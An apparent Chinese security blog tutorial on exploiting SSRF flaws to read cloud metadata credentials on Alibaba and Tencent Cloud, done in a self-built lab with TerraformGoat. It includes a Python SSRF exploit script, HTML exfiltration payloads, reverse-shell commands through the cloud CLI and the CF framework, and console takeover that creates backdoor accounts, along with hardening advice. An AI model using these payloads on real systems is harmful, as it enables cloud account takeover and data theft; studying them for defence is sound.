文章目录
- 前言
- 元数据服务威胁
-
- [1.1 Metadata元数据](#1.1 Metadata元数据)
- [1.2 RAM资源管理角色](#1.2 RAM资源管理角色)
- [1.3 STS 临时凭据利用](#1.3 STS 临时凭据利用)
- [1.4 CF云环境利用框架](#1.4 CF云环境利用框架)
- [1.5 元数据安全性增强](#1.5 元数据安全性增强)
- TerraformGoat
-
- [2.1 永久性AccessKey](#2.1 永久性AccessKey)
- [2.2 SSRF靶场环境搭建](#2.2 SSRF靶场环境搭建)
- [2.3 腾讯云CVM配角色](#2.3 腾讯云CVM配角色)
- [2.4 接管腾讯云控制台](#2.4 接管腾讯云控制台)
- SSRF组合拳案例
-
- [3.1 上传图片功能SSRF](#3.1 上传图片功能SSRF)
- [3.2 文件导出功能SSRF](#3.2 文件导出功能SSRF)
- 总结
前言
云服务器的实例元数据是指在实例内部通过访问元数据服务(Metadata Service)获取的实例属性等信息,如实例 ID、VPC 信息、网卡信息。元数据包含实例角色所对应的临时凭据的情况下,如果服务器所搭载的对外业务服务存在 SSRF 漏洞,将造成云服务器可被攻击者接管的风险。本文来具体实践、学习下 SSRF 漏洞给云服务元数据带来的安全威胁。
元数据服务威胁
在针对云上业务的的攻击事件中,很多攻击者将攻击脆弱的元数据服务作为攻击流程中重要的一个环节并最终造成了严重的危害。
以 2019 年的美国第一资本投资国际集团(CapitalOne)信息泄露事件举例,根据《ACase Study of the Capital One Data Breach》报告指出,攻击者利用 CapitalOne 部署在 AWS 云上实例中的 SSRF 漏洞向元数据服务发送请求并获取角色的临时凭证,在获取角色临时凭据后将该角色权限下的 S3 存储桶中的数据复制到攻击者的本地机器上,最终导致这一严重数据泄露事件的产生,这一事件影响了北美超过1亿人。CapitalOne 的股价在宣布数据泄露后收盘下跌 5.9%,在接下来的两周内总共下跌了 15%。CapitalOne 信息泄露事件攻击原理图,可参见图:
1.1 Metadata元数据
由于腾讯云不给我提供免费试用的云服务器,下文选用阿里云 ECS 服务进行学习和演示,实际上不同云服务商的元数据服务管理大同小异。
参见阿里云官方文档:《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》,可以获知元数据的含义:
ECS 实例元数据:是指在 ECS 实例内部通过访问元数据服务(Metadata Service)获取的实例属性等信息,如实例 ID、VPC 信息、网卡信息。通过元数据服务,您无需登录控制台或调用 API,在实例内部即可获取实例信息,可以更便捷、安全地配置或管理正在运行的实例或实例上的程序。例如,在基于 ECS 实例的应用程序中,通过元数据获取实例 RAM 角色的临时访问凭证,以安全地访问相关授权资源(比如访问 OSS 下载文件)。
【元数据的使用限制】
- 仅网络类型为专有网络 VPC 的 ECS 支持实例元数据功能。
- 仅支持在实例内部访问元数据服务器来获取实例元数据,且实例需处于运行中状态。
- 单实例高频访问元数据服务器获取元数据,可能会导致限流。在高频访问场景下,建议缓存已获取的实例元数据。以 RAM 临时安全凭证为例,获取到凭证后建议将其缓存,并在凭证接近过期时间前重新获取新的凭证,以避免因频繁访问实例元数据服务器而导致的访问限流。
【获取实例元数据】
bash
# 普通模式下获取,其中<metadata>:需替换为具体要查询的实例元数据,可查阅实例元数据列表
curl http://100.100.100.200/latest/meta-data/<metadata>
# 加固模式下获取
# 获取访问元数据服务器访问凭证,需设置有效期,不可包含标头X-Forwarded-For
TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:<元数据服务器访问凭证有效期>"`
# 获取实例元数据
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/<metadata>
各个云厂商都有自己的元数据 metadata,下面给出部分云厂商的元数据访问地址:
js
阿里云元数据地址:http://100.100.100.200/latest/meta-data/ram/security-credentials/${role-name}
腾讯云元数据地址:http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/${role-name}
华为云元数据地址:http://169.254.169.254/
亚马云元数据地址:http://169.254.169.254/
微软云元数据地址:http://169.254.169.254/
谷歌云元数据地址:http://metadata.google.internal/
从上述阿里云官方文档的描述可以看出几点关键信息:
- 元数据数据中包含敏感的实例 RAM 角色的临时访问凭证;
- 但是仅允许在实例内部通过请求内网地址来访问实例的元数据信息;
- 阿里云为 ECS 云服务器实例提供了加固模式下获取元数据的方式,进一步规避元数据泄露风险。
Metadata 元数据的核心威胁?
由于元数据服务部署在链路本地地址上,云厂商默认没有进一步设置安全措施来检测或阻止由实例内部发出的恶意的对元数据服务的未授权访问。攻击者可以通过实例上应用的 SSRF 漏洞对实例的元数据服务进行访问。
因此,如果实例中应用中存在 SSRF 漏洞,那么元数据服务将会完全暴露在攻击者面前。在实例元数据服务提供的众多数据中,有一项数据特别受到攻击者的青睐,那就是角色的临时访问凭据。这将是攻击者由 SSRF 漏洞到获取实例控制权限的桥梁。
1.2 RAM资源管理角色
上文提到获取元数据敏感的数据是实例 RAM 角色的临时访问凭证,RAM(Resource Access Management)资源访问控制是阿里云提供的一项管理用户身份与资源访问权限的服务。参见官方文档《什么是RAM角色_访问控制(RAM)-阿里云帮助中心》可知:
RAM 角色是一种虚拟用户,可以被授予一组权限策略。与 RAM 用户不同,RAM 角色没有永久身份凭证(登录密码或访问密钥),需要被一个可信实体扮演。扮演成功后,可信实体将获得 RAM 角色的临时身份凭证,即安全令牌(STS Token),使用该安全令牌就能以 RAM 角色身份访问被授权的资源。
在 Metadata 元数据中危害最大的莫过于能够获取到云服务器对应的 sts(Security Token Service),通过 sts 最大危害能够接管控制台,如从云服务器 SSRF 漏洞到接管阿里云控制台。但在使用该攻击方法之前,我们需要知道 ECS 本身是不存在 RAM 的,通过具体的 ECS 云服务器实例来看下。
先申请阿里云免费试用(新用户)的 ECS 云服务器(https://www.aliyun.com/daily-act/ecs/activity_selection):
登录 ECS 服务器实例,请求访问元数据:
从返回的路径可以看出当前 Metadata 元数据资源中不包含 ram 子路径,此时请求 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 自然也是不包含 RAM 凭据信息的:
如果我们需要让 ECS 拥有 RAM,并且让我们去利用 metadata 进行渗透,那么就首先需要去给对应的服务器授予一个 RAM 角色,我们访问阿里云控制台,搜索访问控制或直接访问https://ram.console.aliyun.com/roles,并点击创建角色,选择"阿里云服务角色":
在配置角色上,选择普通服务角色,并选择受信服务为云服务器:
点击完成,然后访问阿里云控制台,搜索 ECS 或访问直接 https://ecs.console.aliyun.com/,点击实例,并且为服务器授予刚刚创建的 RAM 角色:
然后再次请求访问元数据,就会发现已经存在 ram 路径和 RoleTest 这个 ram 角色了( http://100.100.100.200/latest/meta-data/ram/security-credentials/),并进一步获得临时凭证(http://100.100.100.200/latest/meta-data/ram/security-credentials/RoleTest):
但是,拿到临时凭证不意味着就可以直接控制服务器实例,还取决于该临时凭证所对应的角色所拥有的权限。
回到访问控制页面(https://ram.console.aliyun.com/roles),在角色栏中找到 RAM 角色 RoleTest,可以发现,此角色创建后是默认没有什么权限的:
这意味着如果 RAM 角色没有被授权,哪怕拿到了临时凭证也没有任何作用,Metadata 渗透的成果取决于 RAM 角色的权限大小 。反过来,只要 RAM 角色的权限足够大,即使它只是个 STS 凭证,也能够造成足够威力的破坏。可以看到给角色新增授权的时候可以选择 AdministratorAccess
,使得拥有该角色的账户具备管理所有阿里云资源的权限。
小结一下,访问管理的角色是拥有一组权限的虚拟身份,用于对角色载体授予云中服务、操作和资源的访问权限。用户可以将角色关联到云服务器实例。为实例绑定角色后,将具备以下功能及优势:
- 可使用 STS 临时密钥访问云上其他服务;
- 可为不同的实例赋予包含不同授权策略的角色,使实例对不同的云资源具有不同的访问权限,实现更精细粒度的权限控制;
- 无需自行在实例中保存 SecretKey,通过修改角色的授权即可变更权限,快捷地维护实例所拥有的访问权限;
具体的操作流程如下:
在将角色成功绑定实例后,用户可以在实例上访问元数据服务来查询此角色的临时凭据,并使用获得的临时凭据操作该角色权限下的云服务 API 接口。
1.3 STS 临时凭据利用
每个云服务厂商都会提供对应的云服务器客户端管理工具,拿到临时凭证后可以下载对应的客户端管理工具来管理云服务器实例。此处阿里云 ECS 服务器实例的话使用原生的阿里云 CLI 工具,可以到官网下载(含使用指导):《安装指南_阿里云CLI(CLI)-阿里云帮助中心》。
本人选择安装到 VPS,安装后首先需要配置 STS Token 凭证:
bash
aliyun configure --profile stsTokenProfile --mode StsToken
接下来对 ECS 的管理,可使用 aliyun ecs help 命令即可获取帮助信息,也可以参考《 通过CLI使用和管理ECS实例及其示例_云服务器 ECS(ECS)》:
bash
aliyun ecs <ApiName> --parameter1 value1 --parameter2 value2 ...
比如执行 aliyun ecs DescribeInstances 可查询实例信息:
此处本人参考《创建云助手命令_云服务器 ECS(ECS)-阿里云帮助中心》构造命令和参数,借助 aliyun-cli 执行任意命令来反弹 Shell:
bash
# 1、创建命令(CommandContent 参数是将要执行的命令的bash64值,其他参数含义请参见官方文档):
aliyun ecs CreateCommand --Type 'RunShellScript' --RegionId 'cn-beijing' --Name 'shell' --CommandContent 'L2Jpb********************JjE='
# 2、执行命令:
aliyun ecs InvokeCommand --RegionId 'cn-beijing' --Timed 'false' --InstanceId.1 'i-2ze8lk********' --CommandId 'c-bj04ak********'
发现成功在 VPS 上反弹 Shell,顺利接管 ECS 服务器:
值得一提的是,此过程中阿里云安全中心(云盾:https://yundun.console.aliyun.com/)给出了两条告警(发送了告警手机短信),及时识别出了认证凭据泄露和服务器实例执行危险指令的安全风险:
其他厂商的 MetaData 数据泄露凭证后的利用方式大致同上,参见具体的官方指导文档即可。
1.4 CF云环境利用框架
针对不同厂商泄露 AK、SK 凭证后不同的 API 调用方式,给攻击利用增加了不少成本,需要大量阅读官方指导文档才行。teamssix 大佬开发了集成多个云服务厂商通用的渗透测试工具:https://github.com/teamssix/cf,同时提供了官方指导 Wiki 文档:https://wiki.teamssix.com/cf/。
CF 即 Cloud Exploitation Framework 云环境利用框架的简称,方便安全人员在获得 AK 的后续工作。适用于在红队场景中对云上内网进行横向、SRC 场景中对 Access Key 即访问凭证的影响程度进行判定、企业场景中对自己的云上资产进行自检等等。可惜该工具已经被作者转为闭源私有仓库了,需私聊作者获取。
接下来看看如何通过 cf 工具快速利用获取到的元数据凭证数据接管阿里云 ECS 服务器。
bash
[root@hwc-hwp-587401-751218 CF]# ./cf
▄████ ▐████▄
██▀ ▀██ ██████╗ ███████╗
▀▀ ▀▀ ██╔════╝ ██╔════╝
▀▀▀▀▀▀▀▀▀▀ ██║ █████╗
▄▄ ▄▄ ██║ ██╔══╝
██▄ ▄██ ╚██████╗ ██║
▀████ ▐████▀ ╚═════╝ ╚═╝
github.com/teamssix/cf
当前 CF 版本是内部版本,请勿对外转发。
CF 是一个云环境利用框架工具,请在获得目标授权的情况下利用此工具。
Usage:
cf [command]
Available Commands:
about 关于作者
alibaba 执行与阿里云相关的操作
aws 执行与 AWS 相关的操作
completion Generate the autocompletion script for the specified shell
config 配置云服务商的访问密钥
help Help about any command
huawei 执行与华为云相关的操作
tencent 执行与腾讯云相关的操作
version 输出 CF 的版本和更新时间
Flags:
-h, --help help for cf
--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")
Use "cf [command] --help" for more information about a command.
[root@hwc-hwp-587401-751218 CF]#
1、 先执行 ./cf config
进行云服务商的访问密钥的配置:
2、 一键列出当前访问凭证的云服务资源 ./cf alibaba ls
:
3、 然后可执行 ./cf alibaba perm
来列出当前 RAM 角色的权限,即一键列出当前访问凭证的权限:
bash
[root@hwc-hwp-587401-751218 CF]# ./cf alibaba perm
? 枚举可能会导致 AK 被禁用,是否继续? Yes
[2024-02-04 11:24:37] INFO 当前用户名为 roletest (Current username is roletest)
[root@hwc-hwp-587401-751218 CF]#
上面执行结果跟作者 Teamssix 给出的执行结果样例差距较大(暂不知道原因),正常应该列出当前凭据的角色对应的权限新,如下所示:
4、 查看 CF 为实例执行命令的操作的帮助信息:
bash
[root@hwc-hwp-587401-751218 CF]# ./cf alibaba ecs exec -h
在实例上执行命令 (Execute the command on the instance)
Usage:
cf alibaba ecs exec [flags]
Flags:
-i, --InstanceId string 指定实例 ID (Specify Instance ID) (default "all")
-a, --allRegions 使用所有区域,包括私有区域 (Use all regions, including private regions)
-b, --batchCommand 一键执行三要素,方便 HW (Batch execution of multiple commands used to prove permission acquisition)
-c, --command string 设置待执行的命令 (Set the command you want to execute)
-f, --file string 设置待执行的命令文件 (Set the command file you want to execute)
-h, --help help for exec
--lhost string 设置反弹 shell 的主机 IP (Set the ip of the listening host)
--lport string 设置反弹 shell 的主机端口 (Set the port of the listening host)
-m, --metaDataSTSToken 一键获取实例元数据中的临时访问密钥 (Get the STS Token in the instance metadata)
-r, --region string 指定区域 ID (Specify region ID) (default "all")
-s, --scriptType string 设置执行脚本的类型 (Specify the type of script to execute) [sh|bat|ps] (default "auto")
-t, --timeOut int 设置命令执行结果的等待时间 (Set the command execution result waiting time) (default 60)
-u, --userData 一键获取实例中的用户数据 (Get the user data on the instance)
--userDataBackdoor string 用户数据后门,需要输入后门命令 (User data backdoor requires inputting the backdoor command)
Global Flags:
--flushCache 刷新缓存,不使用缓存数据 (Refresh the cache without using cached data)
--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")
[root@hwc-hwp-587401-751218 CF]#
执行任意命令:
bash
./cf alibaba ecs exec -i i-2zeXXXXX(实例ID) -c 'whoami && id'
在 CF 中执行反弹 Shell 命令(同样会触发了阿里云云盾的安全告警):
bash
cf alibaba ecs exec --lhost 123.123.123.123 --lport 4444 -i i-abXXXXXX(实例ID)
参数释义:
--lhost 参数配置为自己监听主机的 IP
--lport 参数配置为自己的监听端口
-i 设置要反弹 Shell 的实例 ID(如果未指定具体的实例,则 CF 会提醒是否是选择全部实例还是某个实例
5、接下来上大招,在当前访问凭证至少拥有 AliyunRAMFullAccess 权限的情况下,可以借助 CF 工具一键接管控制台,接管控制台的时候默认会创建一个管理员后门用户:
bash
# 一键接管控制台,会创建后门用户,可登录阿里云Web控制台
cf alibaba console
# 如果不想使用默认用户名,可以通过 -u 参数指定新建用户名
cf alibaba console -u Tr0e
# 取消接管控制台,后门用户也会随之删除
cf alibaba console cancel
为了避免一键创建后门账户触发云盾告警,CF 默认创建的账户并未具备高权限:
但是我们可以通过 https://ram.console.aliyun.com/users 给自己账户添加完全管理权限来接管整个云资源:
以上过程则不会触发云盾的告警,最后别忘了删除后门账户。
关于 CF 其他功能用法以及对其它云服务厂商的利用,请参见作者提供的官方 Wiki 文档,不再赘述。
1.5 元数据安全性增强
从阿里云官方文档:《通过元数据从ECS实例内部获取实例属性等信息_云服务器 ECS(ECS)-阿里云帮助中心》可以看出,阿里云为元数据提供了加固模式:
加固模式下获取元数据:
bash
# 获取访问元数据服务器访问凭证,需设置有效期,范围为1秒~21600秒(6小时),不可包含标头X-Forwarded-For
TOKEN = `curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:<元数据服务器访问凭证有效期>"`
# 获取实例元数据
curl -H "X-aliyun-ecs-metadata-token: $TOKEN" http://100.100.100.200/latest/meta-data/<metadata>
可以看出,加固模式下实例和实例元数据服务器之间通过 PUT 请求来建立一个会话,并在查看实例元数据时通过 Token 验证身份,超过有效期后关闭会话并清除 Token。由于 SSRF 漏洞的 HTTP 请求正常情况下无法满足发起 PUT 请求的条件,故可以保障云服务器的业务存在 SSRF 漏洞的情况下不被攻击者轻易利用来获取敏感的元数据。
在已经创建好的 ECS 实例中,可以在阿里云 OpenAPI 中开启元数据强制使用 Token 访问,OpenAPI 地址:https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions,将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了。
但是阿里云默认是同时提供普通模式和加固模式来获取元数据的,也就意味着这是一个"默认不安全"的安全增强机制。同时当攻击者通过其他漏洞(例如 RCE 漏洞)获取实例的控制权之后,元数据的加固模式带来的安全机制将变得形同虚设。因为攻击者可以在实例上发送 PUT 请求获取 token,随后利用获得的 token 获取角色临时凭据,最后利用角色临时凭据访问角色绑定的一切云业务,具体流程见下图:
总之,当攻击者通过 RCE 漏洞获取实例控制权后,可以通过元数据服务获取到的临时凭据进行云服务的横向移动。攻击者也可以查看服务器上其他业务的 AK、SK 等敏感凭据,比如对象存储服务、数据库服务器的配置文件,进而接管更多服务器实例。鉴于云厂商产品 API 功能的强大性,在获取角色临时凭据后,可能造成及其严重的影响值得注意的是,如果在云平台控制台中执行一些高危行为,平台默认都会需要进行手机验证。但通过使用临时凭据调用发送请求调用API接口,并不需要手机验证码,可以绕过这项安全检测。
TerraformGoat
TerraformGoat 是火线安全团队提供的一个支持多云的云场景漏洞靶场搭建工具(https://github.com/HXSecurity/TerraformGoat/),目前支持阿里云、腾讯云、华为云、Amazon Web Services、Google Cloud Platform、Microsoft Azure 六个云厂商的云场景漏洞搭建。下文将借助该工具搭建一个腾讯云的 SSRF 云靶场环境,演示如何借助 SSRF 漏洞接管腾讯云控制台。本来是要搭建阿里云 SSRF 环境的,但是报错了,成功案例参见:《从云服务器 SSRF 漏洞到接管你的阿里云控制台》。
2.1 永久性AccessKey
TerraformGoat 搭建阿里云靶场时需要配置 AccessKey,此 AccessKy 并不是上文提到的元数据认证信息里面的临时凭据,AccessKey(简称AK)是阿里云提供给阿里云用户的永久访问密钥,用于通过开发工具(API、CLI、SDK、Cloud Shell、Terraform 等)访问阿里云时的身份验证,不用于控制台登录。AccessKey 包括 AccessKey ID 和 AccessKey Secret,需要一起使用,请妥善保管。具体如下:
- AccessKey ID:用于标识用户;
- AccessKey Secret:用于验证用户的密钥。AccessKey Secret 必须保密;
官方文档《阿里云AccessKey如何创建_访问控制(RAM)-阿里云帮助中心》给出了创建 AccessKey 的方法,先创建好备用:
腾讯云的 AccessKey 获取方式(https://console.cloud.tencent.com/cam/capi)也一样:
2.2 SSRF靶场环境搭建
参见官方中文指导文档:https://github.com/HXSecurity/TerraformGoat/blob/main/README_CN.md。
TerraformGoat 使用 Docker 镜像部署,根据你使用到的云服务提供商,选择对应的安装命令。阿里云下的环境搭建:
bash
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker run -itd --name terraformgoat_aliyun_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.7
docker exec -it terraformgoat_aliyun_0.0.7 /bin/bash
进入到阿里云 ECS SSRF 靶场路径下,并配置你的 AccessKey:
http
cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
aliyun configure
接着可以开始正式部署、初始化 SSRF 靶场环境:
http
terraform init
terraform apply
结果搭建失败(原以为是因为免费版的导致失败,结果购买了按量付费的新的实例依旧初始化靶场失败,原因不详......):
更换为腾讯云的 SSRF 靶场(指导文档:https://github.com/HXSecurity/TerraformGoat/blob/main/tencentcloud/cvm/cvm_ssrf/README_CN.md):
bash
# 1、拉取腾讯云靶场
docker pull registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker run -itd --name terraformgoat_tencentcloud_0.0.7 registry.cn-hongkong.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.7
docker exec -it terraformgoat_tencentcloud_0.0.7 /bin/bash
# 2、完成密钥配置与 SSRF 靶场初始化设置,在 terraform.tfvars 文件填入腾讯云 AccessKey
cd /TerraformGoat/tencentcloud/cvm/cvm_ssrf
vim terraform.tfvars
terraform init
terraform apply
# 3、实验最后的环境销毁
terraform destroy
额......充值 10 块试试,终于搭建成功了!
这个过程中靶场借助我提供的 AccessKey 为我自动购买了一个新的按量计费腾讯云服务器实例并搭建了 SSRF 环境(细思极恐)......最后给出了一个公网地址的 SSRF 链接:
在存在 SSRF 漏洞的 CVM 服务器实例上,我们可以利用 SSRF 读取 CVM 的元数据信息:
basic
# 读取腾讯云的元数据
http://metadata.tencentyun.com/latest/meta-data/
但是没有看到具备角色的 ram/ 路径,无法获取临时凭证,需要我们进一步手工给服务器实力配置角色和权限。
腾讯云元数据官方指导文档:《云服务器 查看实例元数据-操作指南-文档中心-腾讯云》。
2.3 腾讯云CVM配角色
腾讯云 CVM 服务器实例的角色配置跟阿里云 ECS 服务器大同小异,角色管理地址:https://console.cloud.tencent.com/cam/role。
新建角色 tr0e,角色配置选择"腾讯云产品服务--云服务器--AdministratorAccess":
然后给 CVM 服务器实例授予该角色:
此时再到 SSRF-Lab 访问实例的元数据,就可以看到 CVM 服务器实例的 CAM 角色所生成的临时凭证了(TmpSecretKey、Token 等字段):
basic
# 读取腾讯云的元数据
http://metadata.tencentyun.com/latest/meta-data/
# 读取腾讯云的元数据中的会话凭据
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/tr0e
在上述获得的凭据信息中看到了 Expiration 字段,回顾下跟上文 Accesskey 的最大区别就是角色的会话凭证是有时效性的:
【安全风险提醒】
注意由于是暴露在公网的靶场,所以务必要要小心谨慎,即使清除靶场环境......上述 AdministratorAccess 的角色策略决定了其相应实体的会话凭据泄露足以导致整个腾讯云控制台被接管,也就是你名下所有腾讯云服务器资源都可以被控制。
实际上我们完全给腾讯云 CVM 实例授予角色后在实例内部访问元数据地址来获得临时凭据,并进行下一步的漏洞利用。为了避免公网靶场导致自己的腾讯云控制台被接管,先回到 TerraformGoat 容器内销毁腾讯云 SSRF 靶场实例:
basic
terraform destroy
将自动销毁创建的腾讯云 CVM 服务器实例并退还冻结资金:
然后重新手动创建并 购买一个按量计费的腾讯云 CVM 服务器实例 即可:
至于给新的实例进行角色授权配置的过程则不再赘述,通过新实例访问元数据中的临时凭据:
2.4 接管腾讯云控制台
接下来看看如何通过腾讯云 SSRF 漏洞窃取到实例的临时会话凭证后,完成腾讯云控制台的接管。漏洞利用过程可以直接使用 CF 框架进行利用,也可以使用腾讯云官方提供的客户端管理工具 TCCLI:《命令行工具 产品简介-文档中心-腾讯云》。TCCLI 是管理腾讯云资源的统一工具,通过腾讯云命令行工具,您可以快速轻松的调用腾讯云 API 来管理您的腾讯云资源,进行无图形页面操作腾讯云资源。
TCCLI 的具体用法请参见官方指导文档(似乎不支持直接配置 CVM 实例所在角色对应的临时凭证),下文将借助 CF 框架一键完成腾讯云控制台的接管。
bash
[root@hwc-hwp-587401-751218 CF]# ./cf tencent
执行与腾讯云相关的操作
Usage:
cf tencent [command]
Available Commands:
console 一键接管控制台 (Takeover console)
cvm 执行与弹性计算服务相关的操作 (Perform cvm-related operations)
lh 执行与轻量计算服务相关的操作 (Perform lh-related operations)
perm 列出当前凭证下所拥有的权限 (List access key permissions)
regions 列出可用区域 (List available regions)
uninstall 一键卸载云镜 (Uninstall Agent)
Flags:
-h, --help help for tencent
Global Flags:
--logLevel string 设置日志等级 [trace|debug|info|warn|error|fatal|panic] (default "info")
Use "cf tencent [command] --help" for more information about a command.
[root@hwc-hwp-587401-751218 CF]#
先进行认证凭据的配置:
一键接管控制台:
登录腾讯云控制台接管账户:
最后,借助 CF 删除创建的后门账户,并清除 CVM 角色,避免被入侵,没有使用需求的情况下销毁服务器实例,避免耗费资金。
值得一提的是,上述 CF 利用全程腾讯云安全防护中心(免费版)均为发生告警信息(这个比起阿里云云盾的风险识别能力还是相差较大的):
SSRF组合拳案例
下文将记录的是从网上优秀博文提取的借助 SSRF 漏洞获取云服务器 Metadata 敏感元数据并接管目标服务器的实例,以提供一些实战过程中漏洞挖掘思路。
3.1 上传图片功能SSRF
源于 Teamssix 大佬的《我用 CF 打穿了他的云上内网》。
通过指纹扫描发现在目标范围内的一个站点使用了 Laravel 框架,接着测试发现该站点存在 Laravel UEditor SSRF 漏洞。这里的 SSRF 漏洞触发点在 UEditor 编辑器的上传图片功能中,下面我们尝试让服务器从 https://baidu.com?.jpg 获取图片:
然后我们读取返回的文件地址,通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg,说明这里确实存在 SSRF 漏洞。
通过查询该域名所属 IP,发现该站点位于云上,那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息,但是这样每次获取数据都要手动发两个数据包就很麻烦,所以这里简单搞个脚本。
bash
import sys
import requests
ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.3100.0 Safari/537.36"}
req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers)
req2 = requests.get(req1.json()["list"][0]["url"],headers=headers)
print(req2.text)
通过查询该站点的 IP 得知该站点位于阿里云上,阿里云的元数据地址为 http://100.100.100.200/latest/meta-data,我们尝试获取一下。
可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 ram/目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。我们一步步打开 ram/ 目录,在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。
接下来就是借助 CF 工具开展云上的横向渗透利用了,具体请参见原文。
3.2 文件导出功能SSRF
本小节源于:《奇安信攻防社区-文件导出功能的SSRF》。
有些网站存在功能,能够将一些将数据分析的表格导出为 pdf 或者图片,如下 POST 数据包,html 文件就是我们要导出的内容,而这里存在 ssrf 漏洞:
我们将 html 内容修改为:
bash
<svg><iframe src="http://123312.h41t0y.dnslog.cn" width=" " height=" "/></svg>
可以看到成功触发了 dnslog 请求,说明此处是存在 SSRF 漏洞的。
当一些特殊标签比如<svg>,<Iframe>
等被禁用后,我们可以使用 <meta>
0 秒刷新请求元数据,以下为具体 payload:
bash
<meta http-equiv="refresh" content="0;url=http://metadata.tencentyun.com/latest/meta-data" />
那么目标服务器的metadata信息就会打印在输出的 PDF 文件上:
其他可供参考学习的思路与案例:
总结
本文讲述了云服务厂商的云服务器实例提供的元数据服务所面临的安全威胁,如果云服务器存在 SSRF 漏洞导致元数据中实例具备的角色所对应的临时凭据谢泄露,那么攻击者可以通过云服务厂商提供的客户端管理工具或者 CF 云环境利用工具,非法调用受害者的云服务实例 API,甚至创建后门账户接管云服务管理台,接管受害者的所有云服务资源。作为云服务器的运维人员,应当在规避对外业务 SSRF 漏洞的同时,避免对服务器实例授予过高权限的角色。
下面引用 Teamssix 大佬的《从云服务器 SSRF 漏洞到接管你的阿里云控制台》的精辟总结(Respect):
上述方法在实战中想要使用是有一些前提的,主要前提有以下两个:
- ECS 实例(腾讯云是 CVM) 需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404;
- RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限;
在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。
总的来说,云上攻防和常规的内网攻防还是十分不一样的。
- 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。
- 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。
- 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。
最后,更多的云服务安全攻防资料可参见:《攻防矩阵 | 云安全知识库》、《Awesome Cloud Security 云安全资源汇总》。
本文相关的参考文章: